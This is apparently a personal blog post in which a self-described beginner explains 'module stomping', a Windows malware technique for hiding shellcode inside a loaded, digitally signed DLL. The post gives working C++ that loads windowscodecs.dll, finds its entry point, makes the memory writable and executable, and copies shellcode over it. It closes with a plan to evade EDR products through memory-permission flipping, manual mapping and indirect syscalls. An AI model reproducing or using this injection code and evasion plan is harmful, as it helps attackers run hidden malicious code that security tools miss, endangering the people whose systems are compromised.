It is a technique used to hide malicious code within memory by overwriting the space of a loaded DLL (typically a digitally signed DLL for evasion purposes).

Please dont be offended by my c++ skills (Noobie alert).

How it works

1. Load a Sacrificial DLL: The injector loads a large, legitimate DLL into the target process using LoadLibraryEx or LdrLoadDll. (Note: It is often better to trigger a legitimate load event than to manually map a new, unsigned DLL).
2. Change Permissions: Identify a section within the DLL and change the memory protection to PAGE_EXECUTE_READWRITE using VirtualProtect.
   1. This is often a "red flag" for EDRs, but it's a necessary step.
3. The "Stomp": This is the core of the technique. We directly write our code into the memory space of the loaded DLL. We can overwrite functions in the .text section, target the entry point via OptionalHeader.AddressOfEntryPoint, heck we can even target a specific exported function or rewrite the whole DLL and manually map the entire DLL which is not module stomping and more for creating a loader which is currently far beyond my smooth brain's processing power. We will keep it simple as is . And always consider the risk-to-reward ratio regarding stealth versus the risk of a process crash.
4. • Change the protection back to PAGE_EXECUTE_READ to look more "natural." Finally, a thread is started at the beginning of the stomped region. You can trigger execution using a proxy, an "on-load" method, or any other hijacking means. For starters to understand the whole mapping of a process u can check PE format Here our goal is to start from the DOS Header and walk through to find AddressOfEntryPoint. TO do so we

• Locate the DLL
• Find the start/header of the DLL
• walk to the IMAGE_NT_HEADERS using e_lfanew byte.
• From there walk to AddressOfEntryPoint

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hTargetDll;

PIMAGE_NT_HEADERS ntHeaders =
(PIMAGE_NT_HEADERS)((BYTE*)hTargetDll + dosHeader->e_lfanew);

LPVOID targetAddr =
(LPVOID)((BYTE*)hTargetDll +
ntHeaders->OptionalHeader.AddressOfEntryPoint);

The full logic

HMODULE hTargetDll = LoadLibrary(L"windowscodecs.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hTargetDll;
PIMAGE_NT_HEADERS ntHeaders =
	(PIMAGE_NT_HEADERS)((BYTE*)hTargetDll + dosHeader->e_lfanew);

LPVOID targetAddr =
	(LPVOID)((BYTE*)hTargetDll +
		ntHeaders->OptionalHeader.AddressOfEntryPoint);
//Changing the permission
SYSTEM_INFO si;
GetSystemInfo(&si);
//Check the size of the page .
SIZE_T pageSize = si.dwPageSize;
//check size of sc

unsigned int sc_size = sizeof(sc);
uintptr_t addr = reinterpret_cast<uintptr_t>(targetAddr);
uintptr_t addrEnd = addr + sc_size;


// Align down to page boundary
uintptr_t pageStart = addr & ~(pageSize - 1);
uintptr_t pageEnd = (addrEnd + pageSize - 1) & ~(pageSize - 1);
SIZE_T totalProtectSize = pageEnd - pageStart;
// Define size we want


DWORD oldProtect;

// Change protection of one page
VirtualProtect(
	reinterpret_cast<LPVOID>(pageStart),
	totalProtectSize,
	PAGE_EXECUTE_READWRITE,
	&oldProtect
);
//Copy our shellcode
memcpy(targetAddr, sc, sc_size);

//checking for erros

IT works . As it should.

Notes to consider

• Regarding the DLL we run my shellcode was getting triggered without me creating a thread or using other callback methods to the memory address. This seemed suspicious at first, but I later found out how Windows internals handle things like Synchronous Loading and Loader Locks, which you might find interesting.
• Another thing to note is the race condition that can occur. Sometimes LoadLibrary triggers a chain of events so quickly that our shellcode gets stomped before the LoadLibrary event even finishes.
• TL;DR: Be very picky with your choice of DLL.

My next task involves experimenting with the following:

• Avoiding PAGE_EXECUTE_READWRITE: Since EDRs treat RWX permissions like a giant "arrest me" sign, I’ve already got a workaround. I’m switching to RW for the memcpy and then pivoting to RX for execution, rather than making the entire memory space a RWX. (Flip Flop method)
• Ditching the Entry Point: Standard entry points are basically sitting ducks; EDRs love comparing RAM to the file on disk to spot the difference.
• Execution Delay: This is a given, but I'll be using Timer queues or Callback functions standard OS triggers .
• Manual Mapping: I’m going to manually map the DLL into memory to convince the OS that the memory belongs to a valid, signed file on disk. Gaslighting the operating system is a valid strategy, right?
• Indirect Syscalls: EDRs have a crush on hooked APIs. I’m moving to indirect syscalls to give them the slip. (Also a given) I’ll be fully experimenting with these in my next attempt and will check back in with the results. For now, my brain is fried, it’s 3:00 AM, and the code is starting to look back at me. Adios, people!